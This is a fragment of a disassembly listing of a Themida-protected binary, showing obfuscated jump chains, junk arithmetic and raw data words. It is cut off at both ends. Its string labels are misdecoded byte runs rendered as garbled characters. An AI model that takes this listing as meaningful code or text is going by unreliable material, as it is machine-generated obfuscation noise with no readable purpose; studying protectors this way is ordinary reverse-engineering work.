4C48124h, 5A000000h db 0, 0D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55CB46 ; --------------------------------------------------------------------------- dw 0EE81h dd 732F28A0h, 0F7895759h, 0D3F7E951h db 2 dup(0FFh) off_5584A6 dd offset dword_580968 ; DATA XREF: Themida_:00552A40o dw 6800h dd 4D8Bh, 0E9242489h, 0D11Eh ; --------------------------------------------------------------------------- loc_5584B8: ; CODE XREF: Themida_:0055CD02j pop ebx mov cl, dh jmp loc_55BEA9 ; --------------------------------------------------------------------------- dd 6DDDC681h, 0D6010813h, 6DDDEE81h, 335A0813h, 0BAE92434h db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5584D7: ; CODE XREF: Themida_:0055A284j inc ch add ch, 1Eh or dl, ch mov ecx, [esp] add esp, 4 jmp loc_56203F ; --------------------------------------------------------------------------- dd 5BDE8958h, 4247429h, 0C37685Eh, 1DE90000h db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5584FF: ; CODE XREF: Themida_:0056430Cj sub esi, 4E600C06h jmp loc_55ADFE ; --------------------------------------------------------------------------- loc_55850A: ; CODE XREF: Themida_:005583D6j push esi mov esi, 0B884FF8h add ebx, 6C055CEDh add ebx, esi sub ebx, 6C055CEDh pop esi push ebp push 4D274CD4h jmp loc_56028B ; --------------------------------------------------------------------------- loc_55852A: ; CODE XREF: Themida_:0055D238j mov edi, edx jmp loc_558590 ; --------------------------------------------------------------------------- db 35h, 78h, 18h dd 0C3814850h, 18B84D20h, 0EB81C329h, 18B84D20h, 5EE95258h db 0D1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55854B: ; CODE XREF: Themida_:00553BEAj pop eax add eax, 1015914Ch mov edx, eax pop eax and edx, 49D5BE2h shl edx, 2 and edx, 663E7FA1h jmp loc_5616C2 ; --------------------------------------------------------------------------- loc_558568: ; CODE XREF: Themida_:0056009Dj push ebp push ecx mov ecx, 1BA50C91h mov ebp, 77D362E1h sub ebp, ecx mov ecx, [esp] push ebp mov ebp, esp jmp loc_5579C3 ; --------------------------------------------------------------------------- db 5, 0D7h, 41h aIjhQ db '╗Jh~q',0 dw 0E900h dd 74CFh ; --------------------------------------------------------------------------- loc_558590: ; CODE XREF: Themida_:0055852Cj mov edx, [esp] add esp, 4 add ebp, edi pop edi jmp loc_56301C ; --------------------------------------------------------------------------- db 81h, 0C3h, 0FFh dd 81FFFFFFh, 0EC44B8EBh, 0B2BD550Dh, 0C1500305h, 0E1E905EDh dd 0BE00004Ch, 671D0018h, 0C8E9F701h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5585C7: ; CODE XREF: Themida_:00557CDEj shl edx, 7 add edx, 7D8527F4h jmp loc_55FC8A ; --------------------------------------------------------------------------- db 51h, 0FFh, 74h dd 0C8B0424h, 4C48124h, 8F000000h, 0E95C2404h, 5F5Fh ; --------------------------------------------------------------------------- loc_5585EC: ; CODE XREF: Themida_:005630EEj and ecx, edi jmp loc_566CDB ; --------------------------------------------------------------------------- loc_5585F3: ; CODE XREF: Themida_:0055A4EEj mov ebp, 2B6F5B60h jmp loc_564C8A ; --------------------------------------------------------------------------- aVksMyVsi db '©}$vKS╩MYЁVИКи',0 dd 0AABB5300h, 0E917611Bh, 85C1h, 5726F581h, 0EA0130C1h dd 96F2815Dh, 0E9347C23h, 0A0F5h dword_55862C dd 240C8B66h, 4EC81h, 4890000h, 81585424h, 4ECh, 240C8900h ; DATA XREF: Themida_:005529A8o dd 0E96E65B9h, 0BBBF5762h, 29364942h, 8109E9F9h, 4870000h dd 24248B24h, 8B24048Fh, 89662424h, 0F66240Ch, 5166C8B6h dd 0A549E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558672: ; CODE XREF: Themida_:0055D51Bj pop ecx sub edi, 4AC4707Ah shr edi, 2 sub edi, 1 not edi sub edi, 0C1FB4D3Ch sub eax, edi pop edi xchg eax, [esp] mov esp, [esp] jmp loc_558187 ; --------------------------------------------------------------------------- dd 0A87F681h, 0EE8128E0h, 0C8255E18h, 0E95EF329h, 0BD86h dd 89241489h, 4C281E2h, 55000000h, 4BDh, 5DEA2900h, 5C241487h dd 24048F54h, 4240481h, 5B000000h, 4C381h, 0C3830000h dd 0E7895704h, 0FFC14DE9h, 240487FFh, 0D19E95Ch, 348B0000h dd 4FD2E924h, 0E62D0000h, 29193414h, 3BB951D0h, 0F703263Eh dd 0E48CE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558706: ; CODE XREF: Themida_:00552CA8j inc esi sub esi, 68482800h jmp loc_565D6D ; --------------------------------------------------------------------------- loc_558712: ; CODE XREF: Themida_:00554BF4j sub edi, 0CF800EFh add ecx, 35D41C3Ch add ecx, edi sub ecx, 35D41C3Ch mov edi, [esp] add esp, 4 push edi mov edi, 7EC97BECh add eax, edi pop edi add eax, ecx sub eax, 7EC97BECh pop ecx sub eax, 5A5A2D0Ch sub eax, ebx add eax, 5A5A2D0Ch push ebx mov ebx, 2D736308h neg ebx or ebx, 35187F42h sub ebx, 35EE544Eh sub ebx, 1 not ebx sub ebx, 0C9CF0C12h sub eax, ebx jmp loc_56146D ; --------------------------------------------------------------------------- loc_55876F: ; CODE XREF: Themida_:00562042j or dl, 0A7h jmp loc_563CAA ; --------------------------------------------------------------------------- db 29h dd 0BFE981D9h, 8B0D866Ah, 0C481241Ch, 4, 0E668DA2Dh, 0C815E967h dd 0F1050000h, 0E9D76DBDh, 11ECh, 4797E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5587A2: ; CODE XREF: Themida_:00565D7Bj mov esi, [esp] add esp, 4 jmp loc_55AECC ; --------------------------------------------------------------------------- dd 0D00157BDh, 5DEF2968h, 1E10EF81h, 0F7297F74h, 0FFEC9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5587C5: ; CODE XREF: Themida_:0055F4CBj mov edx, 108C0EC3h xor edx, 14D74FE7h jmp loc_567D0C ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 0A0F7E9h, 0C895C00h, 0A3D5E924h, 433FFFFh, 24248B24h dd 4CED68h, 243C8900h, 2434FF54h, 5F2434FFh, 76E6E9h, 42DAF700h dd 57ABC281h, 0E7E979B0h, 5A0000C3h, 0E904C483h, 0FFFFAA19h dd 81241430h, 4ECh, 241C8900h, 64F8E9h db 0 ; --------------------------------------------------------------------------- loc_558829: ; CODE XREF: Themida_:00560AD6j mov edi, 8D13DB8h mov esi, 511338FEh xor esi, edi jmp loc_556E91 ; --------------------------------------------------------------------------- dw 7268h dd 8900007Fh, 4B9240Ch, 0E9000000h, 862Eh, 0D552D805h dd 7F87E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558856: ; CODE XREF: Themida_:0056420Ej add ebp, esi pop esi jmp loc_55A6F4 ; --------------------------------------------------------------------------- loc_55885E: ; CODE XREF: Themida_:0055AE30j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_553D85 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 399C68h, 0D16AE900h, 348BFFFFh, 4C48324h dd 8904EC83h, 6851242Ch, 22373C37h, 0D0C18159h, 0E9319550h dd 2D90h, 5FFE8959h, 500ACE81h, 0EE815708h, 76FF1504h dd 0E780E9h, 3A685500h, 0E900000Bh, 1BE2h ; --------------------------------------------------------------------------- loc_5588C4: ; CODE XREF: Themida_:00562704j add esp, 4 add esp, 4 xor ebx, eax jmp loc_55EEB1 ; --------------------------------------------------------------------------- aI4S db '┴4$Ий!',0 align 4 loc_5588DC: ; CODE XREF: Themida_:0055DE8Cj shr dl, 7 push 0AA6h mov [esp], ebx mov bl, 28h jmp loc_559463 ; --------------------------------------------------------------------------- dw 0F588h dd 0B652665Ah, 66F500FFh, 1BC5805Ah, 39E5E9h, 4EC8300h dd 0FFD077E9h, 1604BEFFh, 0C14673EAh, 0FD6807EEh, 0E9000015h dd 0FFFFEC83h ; --------------------------------------------------------------------------- loc_55891C: ; CODE XREF: Themida_:005678CBj mov [esp], eax push 4C4h mov [esp], edx push ecx mov ecx, 0DB416Fh shr ecx, 2 dec ecx jmp loc_5553B9 ; --------------------------------------------------------------------------- loc_558936: ; CODE XREF: Themida_:0055DEAEj add edi, esi pop esi push esi push ebx push 25554B41h pop ebx jmp loc_55E489 ; --------------------------------------------------------------------------- dw 34FFh dd 6685F24h, 89000004h, 20E9242Ch, 8900002Eh, 0E34CE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55895E: ; CODE XREF: Themida_:00561C71j mov esp, [esp] mov [esp], eax push 4238h jmp loc_5555EB ; --------------------------------------------------------------------------- dw 0B850h dd 16E14796h, 0A3CAE940h, 0BA52FFFFh, 68145AB1h, 85ACEBBEh dd 9968E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55898A: ; CODE XREF: Themida_:0055CC34j mov edx, [esp] jmp loc_55B482 ; --------------------------------------------------------------------------- loc_558992: ; CODE XREF: Themida_:00566706j add ebp, 430E9400h push ebx mov ebx, 5324191Dh jmp loc_564C00 ; --------------------------------------------------------------------------- db 87h dd 895C241Ch, 74FF2434h, 8F5E0424h, 34E92404h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5589B7: ; CODE XREF: Themida_:00566CDCj sub ecx, 0C9CFD7C8h and edx, ecx pop ecx neg edx push 7A98h mov [esp], ebx mov ebx, 1DD35827h xor edx, ebx pop ebx jmp loc_565D62 ; --------------------------------------------------------------------------- loc_5589D7: ; CODE XREF: Themida_:0055C6B9j add bl, 0B1h xor dl, bl pop ebx sub bl, 88h sub bl, dl push eax mov eax, esp push ebx jmp loc_55771D ; --------------------------------------------------------------------------- db 0F7h dd 50E6D1D6h, 565F46B8h, 13DBE90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5589FA: ; CODE XREF: Themida_:00553588j mov ecx, 0 add ecx, 2A643F86h add ecx, ebx push edi mov edi, 18FC1608h dec edi add edi, 7EA41740h xor edi, 671C0213h xor edi, 11F117B5h and edi, 4ED747C1h add edi, 0EA1F3EC5h sub ecx, edi mov edi, [esp] add esp, 4 add [ecx], ebp pop ecx pop ebx pop eax jmp loc_564700 ; --------------------------------------------------------------------------- loc_558A41: ; CODE XREF: Themida_:0055CA81j xchg ecx, [esp] jmp loc_554850 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFDAD6h ; --------------------------------------------------------------------------- loc_558A54: ; CODE XREF: Themida_:0055F6EBj mov [esp], edx jmp loc_55D1D4 ; --------------------------------------------------------------------------- dd 1ED805Ch, 0F580D5F6h, 59E8288Eh, 0EC83D800h, 241C8904h dd 27E9A3B7h db 0CDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558A77: ; CODE XREF: Themida_:0055AF12j xor edx, 0A48DEDB6h mov ebx, edx pop edx jmp loc_561509 ; --------------------------------------------------------------------------- loc_558A85: ; CODE XREF: Themida_:00553A85j add ebp, 0F3B7353h sub ebp, 0E9A4107h and ebp, 50086976h push edx jmp loc_55CEAC ; --------------------------------------------------------------------------- db 81h, 0C7h, 0F5h dd 3188A9CEh, 0C5295FF8h, 5DEB0158h, 0FFD796E9h db 0FFh ; --------------------------------------------------------------------------- loc_558AB1: ; CODE XREF: Themida_:00567A6Fj jmp loc_552BBB ; --------------------------------------------------------------------------- dw 64BDh dd 13F9102h, 69E95DEEh db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558AC3: ; CODE XREF: Themida_:00555B90j mov edx, edi jmp loc_557548 ; --------------------------------------------------------------------------- aSiViIr8YritsI db 'S┴кV┴ч┴r8^[YR┴БИ',0Ah db 'i',0 align 2 dw 0D068h dd 8900001Eh, 74FF242Ch, 2C8B0424h, 4C48324h, 5C24048Fh dd 0E20AE9h, 245C2900h, 44015B08h, 0BD550424h, 2F006121h dd 8246C01h, 2444815Dh, 272FE304h, 6EE95848h, 0B6FFFFCFh dd 66F30023h, 0E950665Ah, 47CDh, 0E9242489h, 4574h, 685EF201h dd 179Eh, 0BD242C89h, 3FBD7920h, 585DEA29h, 3C2AE9h, 4C08300h dd 0E9240487h, 599Fh, 4C281h, 14870000h, 0BDE95C24h, 8B00001Dh dd 5451241Ch, 20DAE9h, 24143300h, 2424895Ch, 90AE952h dd 0EA810000h, 42FB5F5Fh, 0F114652Dh, 5D00104h, 4F11465h dd 6824148Bh, 3B93h, 89242C89h, 4C581E5h, 81000000h, 4C5h dd 242C8700h, 5394E95Ch, 0C330000h, 240C3124h, 8B240C33h dd 79E92424h db 0D1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558BBF: ; CODE XREF: Themida_:00553A1Fj pop edx jmp loc_5645FD ; --------------------------------------------------------------------------- loc_558BC5: ; CODE XREF: Themida_:00556FD1j mov [esp], edx mov dl, 2Ch push eax mov al, 0Bh jmp loc_55DE89 ; --------------------------------------------------------------------------- loc_558BD2: ; CODE XREF: Themida_:00560AFCj mov ebx, 4 add edi, 3F921D03h sub edi, ebx jmp loc_5650A7 ; --------------------------------------------------------------------------- dd 0B87EB22Dh, 0AABD555Fh, 316F2066h, 0A1F7E9E8h, 0D7F70000h dd 5224F781h, 0C781515Ah, 0C5E536D2h, 515FF901h, 1BF7E9h dd 24248B00h, 24148966h, 6D041AB2h, 6D2CD028h, 24148B66h dd 0FFBA4DE9h, 243C89FFh, 0C781E789h, 4, 112C68h, 242C8900h dd 4BDh, 0CDC78100h, 156AE5Fh, 0CDEF81EFh, 8B56AE5Fh, 0C483242Ch dd 74FF5704h, 8F5F0424h, 815C2404h, 9F4BE0CBh, 8EC8E93Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558C66: ; CODE XREF: Themida_:0055CE24j mov [esp], edx jmp loc_562655 ; --------------------------------------------------------------------------- dw 0CF81h dd 63427EC2h, 76D5C781h, 0FA01A29Ah, 0EB05E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558C82: ; CODE XREF: Themida_:005619B8j sub eax, 2F579537h add ebp, eax pop eax jmp loc_559C88 ; --------------------------------------------------------------------------- loc_558C8F: ; CODE XREF: Themida_:00562549j sub ebp, edi pop edi jmp loc_566D9D ; --------------------------------------------------------------------------- db 81h dd 42404h, 0E9590000h, 8481h, 5B66F800h, 2EC81h, 89660000h dd 0A3B7241Ch, 8B66F830h, 0FDE9241Ch db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_558CBF: ; CODE XREF: Themida_:0055AC70j sub edx, ebx pop ebx sub eax, 6FDA1ACAh add eax, 341873B4h jmp loc_5644F2 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0D4h dd 56078A27h, 2C1480BEh, 60EE817Fh, 816AB003h, 4427D1CEh dd 0A75DE94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558CEE: ; CODE XREF: Themida_:005537F3j push 4A92h mov [esp], ebx jmp loc_556680 ; --------------------------------------------------------------------------- db 59h dd 0EB81CB01h, 5E7824A5h, 57240C8Bh, 0C781E789h, 4, 5655E9h dd 4EC8100h, 89000000h, 0BF243Ch, 89000002h, 243C8BF8h dd 0FFAE24E9h, 243C8BFFh, 4C481h, 0C7810000h, 4, 0D2DFE956h dd 14890000h, 2474FF24h, 0DB5CE904h, 88B80000h, 0E9788C2Ch dd 4EC1h, 1EACC281h, 0BB5365EBh, 9DE5D16h, 1308EB81h, 0DA315405h dd 5AD3315Bh, 485BD889h, 0AA2DDD35h, 403B3546h, 0C7014163h dd 582434FFh, 0FFBEADE9h, 6EAB68FFh, 0CAE92C17h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558D93: ; CODE XREF: Themida_:0055A649j sub ebx, edi add ebx, 7F3179EAh sub ebx, 5A112D5Fh mov edi, [esp] add esp, 4 shl ebx, 6 jmp loc_55BCB5 ; --------------------------------------------------------------------------- aIS3e db '┴<$И3E',0 dw 4200h dd 0E903E2C1h, 8852h, 0FB31C681h, 0F1311AEEh, 0F06DE95Eh dd 8B5E0000h, 45E9243Ch, 800000F3h, 0DC28AAC3h, 0A022E95Bh db 2 dup(0) word_558DE2 dw 83ADh ; DATA XREF: Themida_:00552918o dd 0F00207Fh, 2E4984h, 4EC8300h, 1151E9h, 40500h, 17E90000h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558DFF: ; CODE XREF: Themida_:0055F811j mov eax, [esp] push esi mov esi, esp add esi, 4 jmp loc_564BEB ; --------------------------------------------------------------------------- aVPgOsV db 'V╬PGцOИ╢V',0 dw 0FF00h dd 52582404h, 3527EDBAh, 0C1D2F70Eh, 0E95507E2h, 3FDh dd 4EC815Dh, 89000000h, 0DFB82404h, 0E90B5465h, 0D2DAh dd 0E9240487h, 8CC0h ; --------------------------------------------------------------------------- loc_558E4C: ; CODE XREF: Themida_:00559818j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_55EFF0 ; --------------------------------------------------------------------------- loc_558E5A: ; CODE XREF: Themida_:00555AE6j add edx, 719608E4h add edx, eax sub edx, 719608E4h mov eax, [esp] add esp, 4 jmp loc_5643E4 ; --------------------------------------------------------------------------- dw 0E8B8h dd 29CF6CC1h, 0BE5658C5h, 7BDE537Ch, 3D3DED81h, 0F5290A84h dd 3D3DC581h, 0E95E0A84h, 0FFFFCA99h ; --------------------------------------------------------------------------- loc_558E98: ; CODE XREF: Themida_:0055B4DEj push ecx jmp loc_55E0C7 ; --------------------------------------------------------------------------- loc_558E9E: ; CODE XREF: Themida_:00564776j add ebp, 235264A7h add ebp, edx sub ebp, 235264A7h jmp loc_563A5F ; --------------------------------------------------------------------------- aBcIbshb db '│Ф╠|⌡bИh║',0 align 4 dd 81E18951h, 4C1h, 2C18100h, 87000000h, 505C240Ch, 0BF57E089h dd 684C0DD9h, 5231E9h, 1C38100h, 43000000h, 5909F381h dd 0DF89513Dh, 81241C8Bh, 4C4h, 0AFE78100h, 51710772h dd 6F18F1B9h, 59CF0962h, 0BE95651h, 0BAFFFFD6h, 12E90750h dd 8107EAC1h, 0FE2438CAh, 0C6C28135h, 1CA0009h, 2C335AD5h dd 242C3124h, 442FE9h db 0 ; --------------------------------------------------------------------------- loc_558F2D: ; CODE XREF: Themida_:00560748j mov ecx, 37522F48h mov esi, 6AAC4D04h xor esi, ecx pop ecx mov edx, 78DC949h jmp loc_552FC4 ; --------------------------------------------------------------------------- loc_558F44: ; CODE XREF: Themida_:005569F1j mov ah, 81h sub ah, bh jmp loc_55E8E5 ; --------------------------------------------------------------------------- db 0B9h, 2Eh, 71h dd 0E9C119BBh, 20C98103h, 0D1755430h, 4E9C1E9h, 0B0C18149h dd 416BF461h, 46C98149h, 0E90BEE5Ah, 0B5B3h, 7445F281h dd 81586391h, 0E060BFEAh, 0E9CA2928h, 3311h, 0EEC0DFB6h dd 6EEC005h, 0E9DBC680h, 0FFFFB9C7h ; --------------------------------------------------------------------------- loc_558F98: ; CODE XREF: Themida_:005639D1j sub edi, 0E5BAB2F7h mov ebp, edi pop edi jmp loc_55CF5F ; --------------------------------------------------------------------------- loc_558FA6: ; CODE XREF: Themida_:00556E5Dj push dword ptr [esp] pop eax add esp, 4 add edx, 4 xchg edx, [esp] jmp loc_5672DA ; --------------------------------------------------------------------------- aQys db '╥',27h,'(ОYИЙ╧',0 align 4 dd 81242C8Bh, 4C4h, 2EC8300h, 24348966h, 3263BE66h, 6FD5E9h dd 82E95700h db 0E4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558FE7: ; CODE XREF: Themida_:00568130j push eax mov eax, esp jmp loc_556321 ; --------------------------------------------------------------------------- loc_558FEF: ; CODE XREF: Themida_:0056730Cj sub esi, 548925B1h xor esi, 2BE1180h sub ebp, 6E6A2176h add ebp, esi add ebp, 6E6A2176h mov esi, [esp] add esp, 4 add ebp, 4 jmp loc_56269E ; --------------------------------------------------------------------------- loc_55901A: ; CODE XREF: Themida_:005659DAj add esi, 299ED4C1h sub ebp, esi pop esi sub ebp, 4BFD0468h add ebp, edi add ebp, 4BFD0468h add ebp, 2BA344C0h pop edi jmp loc_560ADB ; --------------------------------------------------------------------------- loc_55903D: ; CODE XREF: Themida_:005640DAj add ebp, 4 xchg ebp, [esp] pop esp or edx, eax shl edx, 1 jmp loc_5678C6 ; --------------------------------------------------------------------------- byte_55904D db 8Fh, 2, 0E9h ; DATA XREF: Themida_:00552AF4o dd 0FFFF9B67h ; --------------------------------------------------------------------------- loc_559054: ; CODE XREF: Themida_:005646B4j add edi, edx pop edx sub eax, edi jmp loc_5639BD ; --------------------------------------------------------------------------- dw 1489h dd 7602BA24h, 0CA8157D4h, 2A1C252Bh, 0EAC1DAF7h, 0F2814203h dd 2D234EE2h, 0B850D2F7h, 366E2DE1h, 0CBD6C305h, 58C22901h dd 0EABBEA81h, 0D389DE32h, 310EE9h db 0 ; --------------------------------------------------------------------------- loc_559095: ; CODE XREF: Themida_:0055CAEFj mov edx, 559A01F6h jmp loc_5625E5 ; --------------------------------------------------------------------------- db 89h dd 242C8BEBh, 4C481h, 73E90000h db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5590AF: ; CODE XREF: Themida_:005579F1j mov eax, 41F36A98h jmp loc_5609CF ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4B8h, 58C52900h, 5C242C87h, 55241C89h, 56025768h, 0DDF75D4Ah dd 3C69F581h, 0F5812C4Dh, 0B12154D2h, 0FFFFBAE9h, 5BDA29FFh dd 0E956C201h, 6235h, 5A240487h, 6E9168h, 24148900h, 3351E9h dd 0C6815E00h, 4, 4C681h, 34870000h, 0CFB7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559116: ; CODE XREF: Themida_:00562CBCj xchg ebx, [esp] pop esp jmp loc_567F92 ; --------------------------------------------------------------------------- loc_55911F: ; CODE XREF: Themida_:00564BF1j xchg esi, [esp] pop esp xchg edx, [esp] mov esp, [esp] push ebx jmp loc_55CB54 ; --------------------------------------------------------------------------- db 81h dd 1134A4C5h, 2C875800h, 0C2815C24h, 40687EA2h, 0EA81DA01h dd 40687EA2h, 0FFDE89E9h db 0FFh ; --------------------------------------------------------------------------- loc_55914D: ; CODE XREF: Themida_:005546E8j add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp and eax, ecx jmp loc_55FE13 ; --------------------------------------------------------------------------- loc_559169: ; CODE XREF: Themida_:00560D36j xchg edx, [esp] mov esp, [esp] jmp loc_55C3B2 ; --------------------------------------------------------------------------- loc_559174: ; CODE XREF: Themida_:0055A1AAj push edx mov edx, 245710BFh sub [esp+4], edx pop edx push dword ptr [esp] pop eax add esp, 4 push edx mov edx, 22310FA6h dec edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax jmp loc_56386E ; --------------------------------------------------------------------------- db 81h, 0C5h, 64h dd 4D717B63h, 0B951D5F7h, 0A5F1758h, 0BA52D1F7h, 48B9655Fh dd 1C281h, 0EA810000h, 47592E7Fh, 495AD129h, 36F1C981h dd 0E9C16321h, 66BF5708h, 81044A62h, 0CEB017C7h, 5FF929F1h dd 8159CD31h, 0AD1F0EF5h, 2456E91Dh, 0EA810000h, 67A84719h dd 0C281F229h, 67A84719h, 0BC6BE95Eh, 0DA68FFFFh, 8900003Dh dd 5BB82404h, 0E953942Fh, 0E23Dh, 6EAC05Bh, 8044EA80h dd 0F280C1CAh, 0F7B75326h, 5845E9h, 39E46800h, 48E9E895h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559237: ; CODE XREF: Themida_:00564570j not ebp not ebp dec ebp shl ebp, 6 xor ebp, 26DEE544h sub eax, 159E4622h sub eax, ebp add eax, 159E4622h jmp loc_557AEF ; --------------------------------------------------------------------------- dw 0DD29h dd 81241C8Bh, 4C4h, 388EE900h, 33B80000h, 0C1381246h, 843504E0h dd 2D715B74h, 0F07F17B0h, 9BE9C701h db 3 dup(0) ; --------------------------------------------------------------------------- loc_55927F: ; CODE XREF: Themida_:00559F72j xchg eax, [esp] pop esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] shl dword ptr [esp], cl jmp loc_552BBB ; --------------------------------------------------------------------------- db 66h dd 8C05E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5592AA: ; CODE XREF: Themida_:00565D68j add ebp, edx pop edx sub esp, 4 jmp loc_55B48A ; --------------------------------------------------------------------------- dword_5592B8 dd 8904EC83h, 0E9562414h, 7BAAh ; DATA XREF: Themida_:00552960o ; --------------------------------------------------------------------------- loc_5592C4: ; CODE XREF: Themida_:005553C1j pop ebp mov edx, ebp pop ebp pop ecx push edx pop eax push dword ptr [esp] pop edx add esp, 4 sub [edi+24h], eax push dword ptr [esp] mov eax, [esp] jmp loc_567758 ; --------------------------------------------------------------------------- loc_5592E0: ; CODE XREF: Themida_:00562AD5j push dword ptr [esp] jmp loc_5554B0 ; --------------------------------------------------------------------------- loc_5592E8: ; CODE XREF: Themida_:0055335Dj push edi jmp loc_5579F6 ; --------------------------------------------------------------------------- word_5592EE dw 34FFh ; DATA XREF: Themida_:005529BCo dd 2434FF24h, 0D833E959h, 0DB2D0000h, 1529D08h, 8DB05C8h dd 0C8B529Dh, 4C48124h, 50000000h, 42474FFh, 0C3CCE958h dd 81580000h, 4C7h, 243C8700h, 0E0E9525Ch db 7Eh, 2 dup(0) byte_55932B db 66h ; DATA XREF: Themida_:00552AE8o dd 68240C8Bh, 45DDh, 0E9241489h, 62D2h, 8324348Bh, 0C68104C4h dd 4, 8704EE83h, 248B2434h, 242C8924h, 590ABB53h, 0EBC14081h dd 49EBE906h db 2 dup(0) word_559362 dw 34FFh ; DATA XREF: Themida_:00552B4Co dd 0EC835924h, 243BE904h, 54550000h, 0D4E4E9h, 48F5800h dd 24248B24h, 66E1F766h, 0E96BF868h, 0FFFF9CC0h, 0FF982EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55938D: ; CODE XREF: Themida_:0055CF87j mov [esp], ebx jmp loc_559D47 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFBA64E9h, 50C181FFh, 5B34D16Bh, 4C181h, 0C330000h dd 0DFC0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5593B2: ; CODE XREF: Themida_:00568299j push 4D3F1E94h jmp loc_5608E9 ; --------------------------------------------------------------------------- dd 9C242CD2h, 0FF97F6E9h, 0A1E952FFh db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5593CB: ; CODE XREF: Themida_:0055F88Dj push eax mov eax, 758233F8h sub ebx, eax pop eax jmp loc_55EC79 ; --------------------------------------------------------------------------- db 0BFh, 78h, 7Bh dd 0FE3167E3h, 4733E9h db 0 byte_5593E5 db 0ADh, 5, 90h ; DATA XREF: Themida_:005529E4o dd 2D1FA708h, 4AA841D7h, 8AE9D829h, 5FFFFFF1h, 39FDC781h dd 12E90E48h, 89FFFFBEh, 67E9242Ch db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55940B: ; CODE XREF: Themida_:0055E4A1j xchg edx, esi xchg esi, edx not esi jmp loc_55AA39 ; --------------------------------------------------------------------------- loc_559416: ; CODE XREF: Themida_:0055E138j mov edx, 454A11C3h and edx, 2BF7175Bh jmp loc_565883 ; --------------------------------------------------------------------------- aVsn db 'VИnй',0 align 4 dd 5310E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559432: ; CODE XREF: Themida_:0055EC3Aj add ah, bh sub ah, 1Fh sub ah, 0C3h pop ebx mov bl, ah jmp loc_565B52 ; --------------------------------------------------------------------------- loc_559442: ; CODE XREF: Themida_:0056824Cj mov esi, ebp jmp loc_560668 ; --------------------------------------------------------------------------- db 2Dh, 23h, 5Bh dd 0F029279Bh, 9B5B2305h, 19E95227h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55945B: ; CODE XREF: Themida_:00554FC4j mov ecx, [esp] jmp loc_55B582 ; --------------------------------------------------------------------------- loc_559463: ; CODE XREF: Themida_:005588E9j add bl, 0A8h dec bl add bl, 0FFh jmp loc_55BBC0 ; --------------------------------------------------------------------------- aPstp db 'PИT╞',0 align 2 dw 0F281h dd 0FE9AE9EAh, 0E95AD531h, 267Eh, 4BAh, 24540100h, 24148B04h dd 14B8E9h, 0E9476600h, 0FFFFB18Fh ; --------------------------------------------------------------------------- loc_55949C: ; CODE XREF: Themida_:00567E66j sub dword ptr [esp], 6F3D745Bh pop ebx jmp loc_565B79 ; --------------------------------------------------------------------------- db 81h, 0C5h, 2Fh dd 89D058FCh, 113FE9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5594B6: ; CODE XREF: Themida_:00563A85j push ebx sub dword ptr [esp], 1A8E59FFh pop esi jmp loc_556D5C ; --------------------------------------------------------------------------- loc_5594C4: ; CODE XREF: Themida_:0055F1FEj or edx, 5B170B11h jmp loc_5552A5 ; --------------------------------------------------------------------------- db 81h dd 77F39AC3h, 5BDA019Eh, 3E9CA01h, 5A0000E3h, 4BF57h, 0F8010000h dd 0BFDEE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5594EE: ; CODE XREF: Themida_:0055A62Dj add esi, 74DD3C31h jmp loc_55B590 ; --------------------------------------------------------------------------- db 50h, 0E9h, 17h dd 81FFFFCEh, 4C4h, 1256E900h, 71BB0000h, 0E9742F17h, 2BA2h dd 0BE56D0F7h, 0FFFFFFFFh, 0F75EF001h, 0BABA52D0h, 0E9012A36h dd 7975h, 83242C8Ah, 0ED8004C4h, 0B4FBE901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55953A: ; CODE XREF: Themida_:0056388Ej add edx, 0CAB8BF94h sub ebp, 